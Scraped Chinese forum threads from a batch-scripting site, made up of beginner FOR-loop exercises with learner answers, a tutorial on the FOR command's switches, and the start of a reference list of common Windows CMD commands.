  1. for /L %%i in (1,1,100) do echo %%i
复制代码
2、批处理运行窗口显示 1、3、5.....99这50个数字；
  1. for /L %%i in (1,2,99) do echo %%i
复制代码
3、将 bbs bathome.net （在同一行）分成三行显示在批处理运行窗口；
  1. @echo off

  2. set var=bbs bathome.net

  3. echo %var%

  4. for /f "tokens=1 " %%a in ("%var%") do echo %%a

  5. for /f "tokens=2 " %%b in ("%var%") do echo %%b

  6. for /f "tokens=3 " %%c in ("%var%") do echo %%c

  7. pause>nul
复制代码
(我只能用三个for)
回复 引用

评分 报告 TOP

lixiaodaoaaa
  • 发短消息
  • 加为好友

lixiaodaoaaa 当前离线

UID
467
帖子
295
精华
0
积分
1142
PB
1136
技术
2
捐助
0
阅读权限
50
在线时间
266 小时
注册时间
2008-2-4
最后登录
2012-8-21

上尉

帖子
295
积分
1142
技术
2
捐助
0
注册时间
2008-2-4
3楼
发表于 2008-2-4 10:20 | 只看该作者

不错啊！

做的不错，我去试着运行，楼上水平不错，继续努力！！
回复 引用

评分 报告 TOP

youxi01
  • 发短消息
  • 加为好友

youxi01 当前离线

UID
2
帖子
962
精华
3
积分
2416
PB
2359
技术
29
捐助
0
阅读权限
254
在线时间
1346 小时
注册时间
2007-10-25
最后登录
2017-6-24

荣誉版主

帖子
962
积分
2416
技术
29
捐助
0
注册时间
2007-10-25
4楼
发表于 2008-2-8 14:30 | 只看该作者

回复 2# 的帖子

第三题，用三个for固然可以实现效果。
其实一个for就可以的了：
  1. echo off

  2. set var=bbs bathome.net

  3. echo %var%

  4. for  %%i in (%var%) do echo %%i

  5. pause>nul
复制代码
回复 引用

评分 报告 TOP

lixiaodaoaaa
  • 发短消息
  • 加为好友

lixiaodaoaaa 当前离线

UID
467
帖子
295
精华
0
积分
1142
PB
1136
技术
2
捐助
0
阅读权限
50
在线时间
266 小时
注册时间
2008-2-4
最后登录
2012-8-21

上尉

帖子
295
积分
1142
技术
2
捐助
0
注册时间
2008-2-4
5楼
发表于 2008-2-13 11:16 | 只看该作者

有点不明白啊?

  1. for /f "tokens=1 " %%a in ("%var%") do echo %%a

  2. for /f "tokens=2 " %%b in ("%var%") do echo %%b

  3. for /f "tokens=3 " %%c in ("%var%") do echo %%c
复制代码
这三行不明白,其他的都能看懂,麻烦解释一下了........
有点难啊!
楼上的运行出现找不到文件,错误希望改一下........
努力!!!
回复 引用

评分 报告 TOP

lixiaodaoaaa
  • 发短消息
  • 加为好友

lixiaodaoaaa 当前离线

UID
467
帖子
295
精华
0
积分
1142
PB
1136
技术
2
捐助
0
阅读权限
50
在线时间
266 小时
注册时间
2008-2-4
最后登录
2012-8-21

上尉

帖子
295
积分
1142
技术
2
捐助
0
注册时间
2008-2-4
6楼
发表于 2008-2-13 11:16 | 只看该作者

很不错

总体很不错，希望继续努力啊!!
回复 引用

评分 报告 TOP

hsyxh
  • 发短消息
  • 加为好友

hsyxh 当前离线

UID
513
帖子
10
精华
0
积分
178
PB
178
技术
0
捐助
0
阅读权限
20
在线时间
6 小时
注册时间
2008-2-14
最后登录
2009-10-1

二级士官

帖子
10
积分
178
技术
0
捐助
0
注册时间
2008-2-14
7楼
发表于 2008-2-14 21:27 | 只看该作者
学习了，我也要继续努力。
回复 引用

评分 报告 TOP

ieutk
  • 发短消息
  • 加为好友

ieutk 当前离线

UID
100
帖子
150
精华
0
积分
954
PB
951
技术
1
捐助
0
阅读权限
254
在线时间
156 小时
注册时间
2007-12-9
最后登录
2015-12-1

荣誉版主

帖子
150
积分
954
技术
1
捐助
0
注册时间
2007-12-9
8楼
发表于 2008-3-1 13:41 | 只看该作者
4楼in后的集中少了双引号，所以就会出现找不到文件的错误

另外题目是这样的
将 bbs bathome.net （在同一行）分成三行显示在批处理运行窗口
不大可能的事也许今天实现，根本不可能的事也许明天会实现
回复 引用

评分 报告 TOP

e119085072
  • 发短消息
  • 加为好友

e119085072 当前离线

UID
556
帖子
1
精华
0
积分
167
PB
167
技术
0
捐助
0
阅读权限
20
在线时间
1 小时
注册时间
2008-2-19
最后登录
2008-3-11

二级士官

帖子
1
积分
167
技术
0
捐助
0
注册时间
2008-2-19
9楼
发表于 2008-3-5 09:50 | 只看该作者

我什么都看不懂 怎么办

我一个都看不懂，要怎么办啊
回复 引用

评分 报告 TOP

wklxdmyl
  • 发短消息
  • 加为好友

wklxdmyl 当前离线

UID
599
帖子
1
精华
0
积分
169
PB
169
技术
0
捐助
0
阅读权限
20
在线时间
9 小时
注册时间
2008-2-24
最后登录
2008-6-9

二级士官

帖子
1
积分
169
技术
0
捐助
0
注册时间
2008-2-24
10楼
发表于 2008-3-7 09:12 | 只看该作者
努力啊！！！！！！
可惜第三个没有做出来
回复 引用

评分 报告 TOP

scdengting
  • 发短消息
  • 加为好友

scdengting 当前离线

UID
862
帖子
5
精华
0
积分
171
PB
171
技术
0
捐助
0
阅读权限
20
来自
广东
在线时间
5 小时
注册时间
2008-3-8
最后登录
2008-3-16

二级士官

帖子
5
积分
171
技术
0
捐助
0
注册时间
2008-3-8
11楼
发表于 2008-3-10 09:42 | 只看该作者
谢谢各位高手，小弟学习了,谢谢
虚心学习
回复 引用

评分 报告 TOP

kennywah
  • 发短消息
  • 加为好友

kennywah 当前离线

UID
956
帖子
3
精华
0
积分
168
PB
168
技术
0
捐助
0
阅读权限
20
在线时间
0 小时
注册时间
2008-3-11
最后登录
2008-3-11

二级士官

帖子
3
积分
168
技术
0
捐助
0
注册时间
2008-3-11
12楼
发表于 2008-3-11 11:37 | 只看该作者
我也是一个都看不懂啊.............
回复 引用

评分 报告 TOP

pusofalse
  • 发短消息
  • 加为好友

pusofalse 当前离线

UID
972
帖子
1166
精华
0
积分
5171
PB
5135
技术
12
捐助
0
阅读权限
254
在线时间
1529 小时
注册时间
2008-3-11
最后登录
2013-4-13

荣誉版主

帖子
1166
积分
5171
技术
12
捐助
0
注册时间
2008-3-11
13楼
发表于 2008-3-11 22:24 | 只看该作者
1
  1. for /l %%i in (1 1 100) do @echo %%i
复制代码
2
  1. for /l %%i in (1 2 100) do @echo %%i
复制代码
3
  1. for %%i in (bbs bathome.net) do @echo %%i
复制代码
4
  1. for /f "tokens=2" %%i in (f:\test.txt) do @echo %%i
复制代码
对否。。
心绪平和，眼藏静谧。
回复 引用

评分 报告 TOP

CecleCW
  • 发短消息
  • 加为好友

CecleCW 当前离线

UID
1109
帖子
2
精华
0
积分
168
PB
168
技术
0
捐助
0
阅读权限
20
在线时间
3 小时
注册时间
2008-3-17
最后登录
2009-6-5

二级士官

帖子
2
积分
168
技术
0
捐助
0
注册时间
2008-3-17
14楼
发表于 2008-3-19 00:45 | 只看该作者
1、批处理运行窗口显示1~100 这100 个数字
  1. for /l %%i in (1,1,100) do echo %%i
复制代码
2、批处理运行窗口显示 1、3、5.....99这50个数字；
  1. for /l %%i in (1,2,100) do echo %%i
复制代码
3、将 bbs bathome.net （在同一行）分成三行显示在批处理运行窗口
  1. @echo off

  2. set txt=bbs bathome.net

  3. for /f "tokens=1,2,3" %%i in ("%txt%") do set s1=%%i && set s2=%%j && set s3=%%k

  4. echo %s1%

  5. echo %s2%

  6. echo %s3%

  7. pause>nul
复制代码
4、
①将f:\test.txt内容全部显示在批处理窗口
  1. @echo off

  2. type test.txt
复制代码
或者
  1. @echo off

  2. for /f "tokens=1,2,3" %%i in (test.txt) do echo %%i %%j %%k

  3. pause>nul
复制代码
②只显示 2 5 8显示在批处理窗口（分三行显示，每字一行）
  1. @echo off

  2. setlocal EnableDelayedExpansion

  3. set index=0

  4. for /f "tokens=2" %%i in (test.txt) do (

  5. set /a index+=1

  6. set str!index!=%%i

  7. )

  8. echo %str1%

  9. echo %str2%

  10. echo %str3%

  11. pause>nul
复制代码
回复 引用

评分 报告 TOP

angelbbaa
  • 发短消息
  • 加为好友

angelbbaa 当前离线

UID
1329
帖子
4
精华
0
积分
171
PB
171
技术
0
捐助
0
阅读权限
20
在线时间
7 小时
注册时间
2008-3-24
最后登录
2008-4-3

二级士官

帖子
4
积分
171
技术
0
捐助
0
注册时间
2008-3-24
15楼
发表于 2008-3-25 13:38 | 只看该作者

第三题

  1. @echo off

  2. for /f "tokens=1-3 delims=  " %%a in ("bbs bathome.net") do echo %%a%%b

  3. pause>nul
复制代码
回复 引用

评分 报告 TOP

1 2 3 4 5 6 7 8 9 10 ... 22 下一页
返回列表
高级模式 | 发新话题
B Color Image Link Quote Code Smilies

  • 开源原创工具
  • BAT教程&资料
  • VBS教程&资料
  • BAT求助&讨论
批处理专区: BAT CMD DOS
  • BAT求助&讨论
  • BAT教程&资料
  • BAT原创&转载
  • BAT新大陆
  • BAT转载代码
  • 新手练功
  • 出题挑战
  • 有偿求助
  • 第三方命令行
  • 开源原创工具
  • iBAT
其他脚本区
  • PowerShell求助&讨论
  • PowerShell教程&资料
  • PowerShell原创&转载
  • VBS求助&讨论
  • JS / JScript / JavaScript
  • VBS教程&资料
  • VBS原创&转载
  • UNIX/Linux Shell
  • Python
  • Perl
网络资源区
  • 电脑技术研讨
  • 精品软件交流
  • 文字消遣
论坛事务区
  • 站务交流
  • 意见反馈
  • 论坛公告
  • 版主申请
  • 交换链接
  • 建站杂谈
  • 活动专区
  • 论坛总版规
[收藏此主题] [关注此主题的新回复]
[通过 QQ、MSN 分享给朋友]

[通过站内短消息分享给朋友]

批处理之家 ( 渝ICP备10000708号)| 联系我们 | Archiver | 站长统计

GMT+8, 2018-6-3 21:50, Processed in 0.040001 second(s), 8 queries, Gzip enabled.


批处理for命令通俗解释

:) | :victory: | :time: | :kiss: | :handshake | :call: | :loveliness: | :funk:
:curse: | :dizzy: | :shutup: | :hug: | :lol | :( | :D | :'(
 | :o | :P | :$ | ;P | :L | :Q | :sleepy:

繁體中文 geekcat | 提醒 短消息 论坛任务 | 个人中心 退出
  • 论坛
  • 搜索
  • 帮助
  • 导航
  • 私人消息 (0)
  • 公共消息 (0)
  • 论坛任务 (0)
  • 系统消息 (0)
  • 好友消息 (0)
  • 帖子消息 (0)
批处理之家 ? BAT教程&资料 ? 批处理for命令通俗解释(2007-11-4日更新)
[视频教程]批处理基础视频教程 [视频教程]VBS基础视频教程 批处理在线视频分享
1 2 3 4 5 下一页
返回列表 回复 发帖
BatHome
  • 发短消息
  • 加为好友

BatHome (论坛管理专用账号)当前离线

论坛管理专用帐号

UID
1
帖子
63
精华
0
积分
457
PB
454
技术
1
捐助
0
阅读权限
255
在线时间
209 小时
注册时间
2007-10-25
最后登录
2018-5-30

管理员

帖子
63
积分
457
技术
1
捐助
0
注册时间
2007-10-25
1楼 跳转到 ? 倒序看帖
打印
t T
发表于 2007-10-27 16:41 | 只看该作者

[原创] 批处理for命令通俗解释(2007-11-4日更新)

作者:youxi01 转载请注明 温馨提示：如果你初次接触批处理这可以先到这里。

对所有的批处理初学者来说，for的应用是最难理解以及掌握的。本文由浅入深，为大家专门讲解for的用法，希望大家喜

欢。

首先应该明确的是,for不是一个简单的命令，它的用法比较复杂,它还可以带四个参数(/L /D /R /F),其中:/L和/F参数是

最经常用到的。当然，它本身也可以不带参数，下面我们通过具体的例子来讲解for的运用。

一、不带参数的for：
让我们先来看一个示例：
  1. @echo off

  2. for %%i in (1 2 3 4 5) do echo %%i

  3. pause
复制代码
将以上代码保存为批处理文件(如何保存?)，然后运行，可以发现屏幕上显示1 2 3 4 5(每字一行)
是不是明白了一些？它的整个运行机制我们可以这样看：for不停的从括号中拿出5个“东西”来（以空格做间隔），并将这5个“东西”依次传给临时变量%%i，同时把这个变量echo出来....

从这个例子我们可以看出，for的基本用法是：
for 变量 in (目标) do 干什么?

变量常用%%i 来表示，当然也可以换成%%j；目标就是待处理的对象集合，比如这里的1 2 3 4 5；这里的干什么的内容为：批处理命令。
【相关习题：】将你的名字用for命令分三行显示出来！！！

二、带参数 /L 的for (这里的 参数/L 可以理解为 "list" 的意思，代表一个数列)
先看测试代码：
  1. @echo off

  2. for /l %%i in (1 1 5) do echo %%i

  3. pause
复制代码
显示结果也为：1 2 3 4 5(每字一行)
它的意思和上面的意思差不多，但是括号中的对象却不需要 写成 1 2 3 4 5 的形式了，而是：1 1 5，因为它启用了参数 /L ，就是告诉for，这个括号里的对象是个数列，怎样的数列？就是以 1 开始，步长 为1 ，结束值为5的一个等差数列，再举个实例：
  1. ::显示 从 10 - 20 的所有偶数：

  2. @echo off

  3. for /l %%i in (10 2 20) do echo %%i

  4. pause
复制代码
【相关习题：】显示 1~20 间能被5整 除的整数

三、带参数 /f 的for（这里的参数/F可以理解为“file”的意思，代码处理对象为文本串）
参考教程：for 命令 /f 参数 通俗讲解

四、for的 /D 和/R 参数（这两个参数个人比较少用）
1>/D参数（常用来查询 当前目录 或者 指定目录的文件夹)
基本用法：FOR /D %variable IN (set) DO command [command-parameters]
如：查询F盘根目录下的文件夹
  1. @echo off

  2. for /d %%i in (f:\*) do echo %%i

  3. pause>nul
复制代码
如果省略 括号中的 "f:\"，则会直接查询 批处理 所在目录的文件夹
假设 本批处理文件 保存在：F:\test下
运行以下批处理代码，将会查询 F：\test下的文件夹
  1. @echo off

  2. for /d %%i in (*) do echo %%i

  3. pause>nul
复制代码
2> /r参数
基本用法：FOR /R [[drive:]path] %variable IN (set) DO command [command-parameters]
检查以 [drive:]path 为根的目录树中，所有符合（set）的文件或者文件夹。如果在 /R 后没有指定目录，则使用当前
目录。如果集仅为一个单点(.)字符，则枚举该目录树。
用法示例：
枚举F：盘下所有的 文件
  1. @echo off

  2. for /r f:\ %%i in (*) do echo %%i

  3. pause>nul
复制代码
枚举F：盘下所有的 .bat文件(包括子目录），则：
  1. @echo off

  2. for /r f:\ %%i in (*.bat) do echo %%i

  3. pause>nul
复制代码
如果省略以上代码中的F:\，则会列举当前目录 所有符合（set）的文件
如：列举批处理所在目录的 所有 批处理文件（包括子目录）
  1. @echo off

  2. for /r %%i in (*.bat) do echo %%i

  3. pause>nul
复制代码
完...
1

评分人数

    • novaa: 原创内容PB + 2
收藏 分享
回复 引用

评分 报告

novaa
  • 发短消息
  • 加为好友

novaa (①個亾)当前离线

学生

UID
9
帖子
265
精华
0
积分
601
PB
595
技术
2
捐助
0
阅读权限
254
来自
湖北武汉
在线时间
147 小时
注册时间
2007-10-26
最后登录
2010-7-13

荣誉版主

帖子
265
积分
601
技术
2
捐助
0
注册时间
2007-10-26
2楼
发表于 2007-11-5 13:03 | 只看该作者

不错

如果结尾能给出一写有点难度的题目外加常用的例子估计效果更好
ㄗs:A good programming is 99% sweat and 1% coffee！--①個亾

============ > hi.baidu.com/novaa <============
回复 引用

评分 报告 TOP

lzwudi
  • 发短消息
  • 加为好友

lzwudi 当前离线

UID
321
帖子
88
精华
0
积分
399
PB
399
技术
0
捐助
0
阅读权限
20
来自
了辽宁省
在线时间
38 小时
注册时间
2008-1-13
最后登录
2011-6-7

六级士官

帖子
88
积分
399
技术
0
捐助
0
注册时间
2008-1-13
3楼
发表于 2008-1-13 21:34 | 只看该作者
如果能把%和>nul帮忙解释一下就更好了。
我非常想学批处理。还希望有老师指点
帮助别人是快乐
被人帮助是幸福
回复 引用

评分 报告 TOP

novaa
  • 发短消息
  • 加为好友

novaa (①個亾)当前离线

学生

UID
9
帖子
265
精华
0
积分
601
PB
595
技术
2
捐助
0
阅读权限
254
来自
湖北武汉
在线时间
147 小时
注册时间
2007-10-26
最后登录
2010-7-13

荣誉版主

帖子
265
积分
601
技术
2
捐助
0
注册时间
2007-10-26
4楼
发表于 2008-1-13 21:57 | 只看该作者
%号的作用是
1.在固定的格式中使用,比如for 循环
比如
for /l %%i in ( ) do (
)
在CMD下是一个%
批处理下用两个%
2.用来括起一个字符变量表示变量的值。
比如
set bat=bathome
echo %bat%
就是显示bat所代表的变量值。
对于学习批处理。建议多练习。本论坛的资料已经比较丰富了。你可以多多看看教学贴。不懂就问。
ㄗs:A good programming is 99% sweat and 1% coffee！--①個亾

============ > hi.baidu.com/novaa <============
回复 引用

评分 报告 TOP

hsyxh
  • 发短消息
  • 加为好友

hsyxh 当前离线

UID
513
帖子
10
精华
0
积分
178
PB
178
技术
0
捐助
0
阅读权限
20
在线时间
6 小时
注册时间
2008-2-14
最后登录
2009-10-1

二级士官

帖子
10
积分
178
技术
0
捐助
0
注册时间
2008-2-14
5楼
发表于 2008-2-15 10:32 | 只看该作者
1、注意空格，该有空格的地方必须有，该没有的地方不能有
2、变量可以为aa、bc、zz等。
3、for /l %%i in (1 1 5) do echo %%i，
这个括号里的对象是个数列，就是以 1 开始，步长 为1 ，结束值为5的一个等差数列，步长可以为负数
回复 引用

评分 报告 TOP

coffechicken
  • 发短消息
  • 加为好友

coffechicken 当前离线

UID
2321
帖子
14
精华
0
积分
182
PB
182
技术
0
捐助
0
阅读权限
20
来自
湖南
在线时间
13 小时
注册时间
2008-4-29
最后登录
2008-5-16

二级士官

帖子
14
积分
182
技术
0
捐助
0
注册时间
2008-4-29
6楼
发表于 2008-4-30 10:43 | 只看该作者
@echo off
for /l %%i in (1 1 10000000) do ping bbs.bathome.net
pause

这个理论上可以执行多少次`？
回复 引用

评分 报告 TOP

youxi01
  • 发短消息
  • 加为好友

youxi01 当前离线

UID
2
帖子
962
精华
3
积分
2416
PB
2359
技术
29
捐助
0
阅读权限
254
在线时间
1346 小时
注册时间
2007-10-25
最后登录
2017-6-24

荣誉版主

帖子
962
积分
2416
技术
29
捐助
0
注册时间
2007-10-25
7楼
发表于 2008-4-30 10:53 | 只看该作者
for /l %%i in (1 1 1) 理论上执行一次（实际上也是）
那么for /l %%i in (1 1 10000000) 理论上就执行10000000
回复 引用

评分 报告 TOP

飞扬
  • 发短消息
  • 加为好友

飞扬 当前离线

笨鸟

UID
2360
帖子
2
精华
0
积分
169
PB
169
技术
0
捐助
0
阅读权限
20
来自
四川
在线时间
4 小时
注册时间
2008-4-30
最后登录
2008-10-9

二级士官

帖子
2
积分
169
技术
0
捐助
0
注册时间
2008-4-30
8楼
发表于 2008-5-1 11:21 | 只看该作者
我刚刚也做了的，for /l %%i in (1 1 ９９９９) 理论上就执行９９９９
这个例子一做就懂了
Discuz!代码
回复 引用

评分 报告 TOP

noidea
  • 发短消息
  • 加为好友

noidea 当前离线

UID
2409
帖子
4
精华
0
积分
171
PB
171
技术
0
捐助
0
阅读权限
20
在线时间
4 小时
注册时间
2008-5-2
最后登录
2008-5-4

二级士官

帖子
4
积分
171
技术
0
捐助
0
注册时间
2008-5-2
9楼
发表于 2008-5-3 10:23 | 只看该作者
@echo off
for /d %%i in (*) do echo %%i
pause>nul

中间 的 >nul 这个空值有什么用？
回复 引用

评分 报告 TOP

gu1386
  • 发短消息
  • 加为好友

gu1386 当前离线

UID
2510
帖子
1
精华
0
积分
167
PB
167
技术
0
捐助
0
阅读权限
20
在线时间
2 小时
注册时间
2008-5-5
最后登录
2010-11-10

二级士官

帖子
1
积分
167
技术
0
捐助
0
注册时间
2008-5-5
10楼
发表于 2008-5-9 18:50 | 只看该作者

太好了

真的太谢谢大家的帖子，学到了点基础现在能看懂了。
回复 引用

评分 报告 TOP

darkphx
  • 发短消息
  • 加为好友

darkphx 当前离线

UID
1617
帖子
5
精华
0
积分
177
PB
177
技术
0
捐助
0
阅读权限
20
在线时间
1 小时
注册时间
2008-4-3
最后登录
2017-12-4

二级士官

帖子
5
积分
177
技术
0
捐助
0
注册时间
2008-4-3
11楼
发表于 2008-5-15 12:50 | 只看该作者

回复 19楼 的帖子

pause>nul
pause的原来是提示"按任意键继续.."
加上>nul用于隐藏pause显示的信息 只能看到一个提示符
回复 引用

评分 报告 TOP

yjg6820132
  • 发短消息
  • 加为好友

yjg6820132 当前离线

UID
2666
帖子
1
精华
0
积分
167
PB
167
技术
0
捐助
0
阅读权限
20
在线时间
0 小时
注册时间
2008-5-24
最后登录
2008-5-24

二级士官

帖子
1
积分
167
技术
0
捐助
0
注册时间
2008-5-24
12楼
发表于 2008-5-24 18:36 | 只看该作者
首先感谢各位，以前挺模糊的。现在感觉强多了
回复 引用

评分 报告 TOP

cailinfeng
  • 发短消息
  • 加为好友

cailinfeng 当前离线

UID
3118
帖子
6
精华
0
积分
185
PB
185
技术
0
捐助
0
阅读权限
20
来自
广东省揭东县
在线时间
12 小时
注册时间
2008-7-27
最后登录
2013-3-27

二级士官

帖子
6
积分
185
技术
0
捐助
0
注册时间
2008-7-27
13楼
发表于 2008-7-27 14:26 | 只看该作者

请问关于上面for的习题

上面说到可以求1到20之间能被5整除的数,怎么写啊??
回复 引用

评分 报告 TOP

namejm
  • 发短消息
  • 加为好友

namejm (闭关中)当前离线

批处理代码写手

UID
5
帖子
1348
精华
8
积分
5096
PB
4236
技术
113
捐助
501
阅读权限
254
来自
四川－成都
在线时间
1842 小时
注册时间
2007-10-25
最后登录
2013-6-19

荣誉版主

帖子
1348
积分
5096
技术
113
捐助
501
注册时间
2007-10-25
14楼
发表于 2008-7-27 15:31 | 只看该作者
  1. @echo off

  2. for /l %%i in (5,5,20) do echo %%i

  3. pause
复制代码
尺有所短寸有所长，学好批处理没商量；
考虑问题复杂化，解决问题简洁化。
心在天山，身老沧州。
回复 引用

评分 报告 TOP

mkl
  • 发短消息
  • 加为好友

mkl 当前离线

UID
3200
帖子
38
精华
0
积分
425
PB
425
技术
0
捐助
0
阅读权限
20
来自
安徽
在线时间
60 小时
注册时间
2008-7-30
最后登录
2011-7-21

六级士官

帖子
38
积分
425
技术
0
捐助
0
注册时间
2008-7-30
15楼
发表于 2008-8-3 16:16 | 只看该作者
这就完了？
回复 引用

评分 报告 TOP

1 2 3 4 5 下一页
返回列表
高级模式 | 发新话题
B Color Image Link Quote Code Smilies

  • BAT求助&讨论
批处理专区: BAT CMD DOS
  • BAT求助&讨论
  • BAT教程&资料
  • BAT原创&转载
  • BAT新大陆
  • BAT转载代码
  • 新手练功
  • 出题挑战
  • 有偿求助
  • 第三方命令行
  • 开源原创工具
  • iBAT
其他脚本区
  • PowerShell求助&讨论
  • PowerShell教程&资料
  • PowerShell原创&转载
  • VBS求助&讨论
  • JS / JScript / JavaScript
  • VBS教程&资料
  • VBS原创&转载
  • UNIX/Linux Shell
  • Python
  • Perl
网络资源区
  • 电脑技术研讨
  • 精品软件交流
  • 文字消遣
论坛事务区
  • 站务交流
  • 意见反馈
  • 论坛公告
  • 版主申请
  • 交换链接
  • 建站杂谈
  • 活动专区
  • 论坛总版规
[收藏此主题] [关注此主题的新回复]
[通过 QQ、MSN 分享给朋友]

[通过站内短消息分享给朋友]

批处理之家 ( 渝ICP备10000708号)| 联系我们 | Archiver | 站长统计

GMT+8, 2018-6-3 21:39, Processed in 0.069061 second(s), 9 queries, Gzip enabled.


批处理常用命令及用法大全

:) | :victory: | :time: | :kiss: | :handshake | :call: | :loveliness: | :funk:
:curse: | :dizzy: | :shutup: | :hug: | :lol | :( | :D | :'(
 | :o | :P | :$ | ;P | :L | :Q | :sleepy:
加载中...

繁體中文 geekcat | 提醒 短消息 论坛任务 | 个人中心 退出
  • 论坛
  • 搜索
  • 帮助
  • 导航
  • 私人消息 (0)
  • 公共消息 (0)
  • 论坛任务 (0)
  • 系统消息 (0)
  • 好友消息 (0)
  • 帖子消息 (0)
批处理之家 ? BAT教程&资料 ? 批处理常用命令及用法大全
[视频教程]批处理基础视频教程 [视频教程]VBS基础视频教程 批处理在线视频分享
1 2 3 4 5 6 下一页
返回列表 回复 发帖
youxi01
  • 发短消息
  • 加为好友

youxi01 当前离线

UID
2
帖子
962
精华
3
积分
2416
PB
2359
技术
29
捐助
0
阅读权限
254
在线时间
1346 小时
注册时间
2007-10-25
最后登录
2017-6-24

荣誉版主

帖子
962
积分
2416
技术
29
捐助
0
注册时间
2007-10-25
1楼 跳转到 ? 倒序看帖
打印
t T
发表于 2007-10-29 18:18 | 只看该作者

[转贴] 批处理常用命令及用法大全

说明：本文来自网络，由youxi01整理

阅读本文需要一定的dos基础概念，象：盘符、文件、目录(文件夹)、子目录、根目录、当前目录
每个命令的完整说明请加 /? 参数参考微软的帮助文档可以看到，在 /? 帮助里，"命令扩展名"一词会经常出现"命令扩

展名"是指相对于win98的dos版本而言，每个命令新增的功能
命令测试环境win2000proSP4win98的命令功能太少，就不作研究了

注：如果对某一命令还不是很熟悉，可以在命令行窗口下输入：命令名/?的方式来获得帮助。
例如：对dir命令的应用不熟悉，可以在命令行窗口下输入：

dir /?

1 echo 和 @回显控制命令
@ #关闭单行回显
echo off #从下一行开始关闭回显
@echo off #从本行开始关闭回显。一般批处理第一行都是这个
echo on #从下一行开始打开回显
echo #显示当前是 echo off 状态还是 echo on 状态
echo. #输出一个"回车换行"，一般就是指空白行
echo hello world #输出hello world
"关闭回显"是指运行批处理文件时，不显示文件里的每条命令，只显示运行结果批处理开始和结束时，系统都会自动打开

回显
2 errorlevel程序返回码

echo %errorlevel%每个命令运行结束，可以用这个命令行格式查看返回码用于判断刚才的命令是否执行成功默认值为0，

一般命令执行出错会设 errorlevel 为1

3 dir显示目录中的文件和子目录列表
dir #显示当前目录中的文件和子目录
dir /a #显示当前目录中的文件和子目录，包括隐藏文件和系统文件
dir c: /a:d #显示 C 盘当前目录中的目录
dir c:\ /a:-d #显示 C 盘根目录中的文件dir d:\mp3 /b/p #逐屏显示 d:\mp3 目录里的文件，只显示文件

名，不显示时间和大小
dir *.exe /s显示当前目录和子目录里所有的.exe文件其中 * 是通配符，代表所有的文件名，还一个通配符 ? 代表一个

任意字母或汉字如 c*.* 代表以 c 开头的所有文件?.exe 代表所有文件名是一个字母的.exe文件如果指定的目录或文件

不存在，将返回 errorlevel 为1;每个文件夹的 dir 输出都会有2个子目录 . 和 ... 代表当前目录.. 代表当前目录的

上级目录
dir . #显示当前目录中的文件和子目录
dir .. #显示当前目录的上级目录中的文件和子目录
其它参数可参考 dir /?

4 cd更改当前目录
cd mp3 #进入当前目录中的mp3 目录
cd .. #进入当前目录中的上级目录
cd\ #进入根目录
cd #显示当前目录
cd /d d:\mp3 #可以同时更改盘符和目录
cd "Documents and Settings"\All users文件名带空格，路径前需要加上引号！！如果更改到的目录不存在，则出错返

回 errorlevel=1

5 md创建目录
md abc #在当前目录里建立子目录 abc
md d:\a\b\c #如果 d:\a 不存在，将会自动创建

6 rd删除目录
rd abc #删除当前目录里的 abc 子目录，要求为空目录
rd /s/q d:\temp #删除 d:\temp 文件夹及其子文件夹和文件，不需要按 Y 确认

7 del删除文件
del d:\test.txt #删除指定文件，不能是隐藏、系统、只读文件
del *.*删除当前目录里的所有文件，不包括隐藏、系统、只读文件，要求按 Y 确认
del /q/a/f d:\temp\*.*删除 d:\temp 文件夹里面的所有文件，包括隐藏、只读、系统文件，不包括子目录
del /q/a/f/s d:\temp\*.*删除 d:\temp 及子文件夹里面的所有文件，包括隐藏、只读、系统文件，不包括子目录

8 ren文件重命名
ren 1.txt 2.bak #把 1.txt 更名为 2.bak
ren *.txt *.ini #把当前目录里所有.txt文件改成.ini文件
ren d:\temp tmp #支持对文件夹的重命名

9 cls清屏

10 type显示文件内容
type c:\boot.ini #显示指定文件的内容，程序文件一般会显示乱码
type *.txt #显示当前目录里所有.txt文件的内容

11 copy拷贝文件
copy c:\test.txt d:\复制 c:\test.txt 文件到 d:\
copy c:\test.txt d:\test.bak复制 c:\test.txt 文件到 d:\ ，并重命名为 test.bak
copy c:\*.*复制 c:\ 所有文件到当前目录，不包括隐藏文件和系统文件不指定目标路径，则默认目标路径为当前目录
copy con test.txt从屏幕上等待输入，按 Ctrl+Z 结束输入，输入内容存为test.txt文件con代表屏幕，prn代表打印机

，nul代表空设备
copy 1.txt + 2.txt 3.txt合并 1.txt 和 2.txt 的内容，保存为 3.txt 文件如果不指定 3.txt ，则保存到 1.txt
copy test.txt +复制文件到自己，实际上是修改了文件日期

12 title设置cmd窗口的标题
title 新标题 #可以看到cmd窗口的标题栏变了

13 ver显示系统版本

14 label 和 vol设置卷标
vol #显示卷标
label #显示卷标，同时提示输入新卷标
label c:system #设置C盘的卷标为 system

15 pause暂停命令
运行该命令时，将显示下面的消息：请按任意键继续 . . .
一般用于看清楚屏幕上显示的内容

16 rem 和 ::注释命令
注释行不执行操作

17 date 和 time日期和时间
date #显示当前日期，并提示输入新日期，按"回车"略过输入
date/t #只显示当前日期，不提示输入新日期
time #显示当前时间，并提示输入新时间，按"回车"略过输入
time/t #只显示当前时间，不提示输入新时间

18 goto 和 :跳转命令
:label #行首为:表示该行是标签行，标签行不执行操作
goto label #跳转到指定的标签那一行

19 find (外部命令)查找命令
find "abc" c:\test.txt在 c:\test.txt 文件里查找含 abc 字符串的行如果找不到，将设 errorlevel 返回码为1
find /i "abc" c:\test.txt查找含 abc 的行，忽略大小写
find /c "abc" c:\test.txt显示含 abc 的行的行数

20 more (外部命令)逐屏显示
more c:\test.txt #逐屏显示 c:\test.txt 的文件内容

21 tree显示目录结构
tree d:\ #显示D盘的文件目录结构

22 &顺序执行多条命令，而不管命令是否执行成功
c: & cd\ & dir /w相当于把下面3行命令写到1行去了c:cd\dir /w

23 &&顺序执行多条命令，当碰到执行出错的命令后将不执行后面的命令
f: && cd\ && dir >c:\test.txt注意如果f盘不存在，那么后面2条命令将不会执行
find "ok" c:\test.txt && echo 成功如果找到了"ok"字样，就显示"成功"，找不到就不显示

24 ||顺序执行多条命令，当碰到执行正确的命令后将不执行后面的命令

find "ok" c:\test.txt || echo 不成功如果找不到"ok"字样，就显示"不成功"，找到了就不显示

25 |管道命令
前一个命令的执行结果输出到后一个命令
dir *.* /s/a | find /c ".exe"管道命令表示先执行 dir 命令，对其输出的结果执行后面的 find 命令该命令行结果：

输出当前文件夹及所有子文件夹里的.exe文件的个数
type c:\test.txt|more这个和 more c:\test.txt 的效果是一样的

26 > 和 >>输出重定向命令
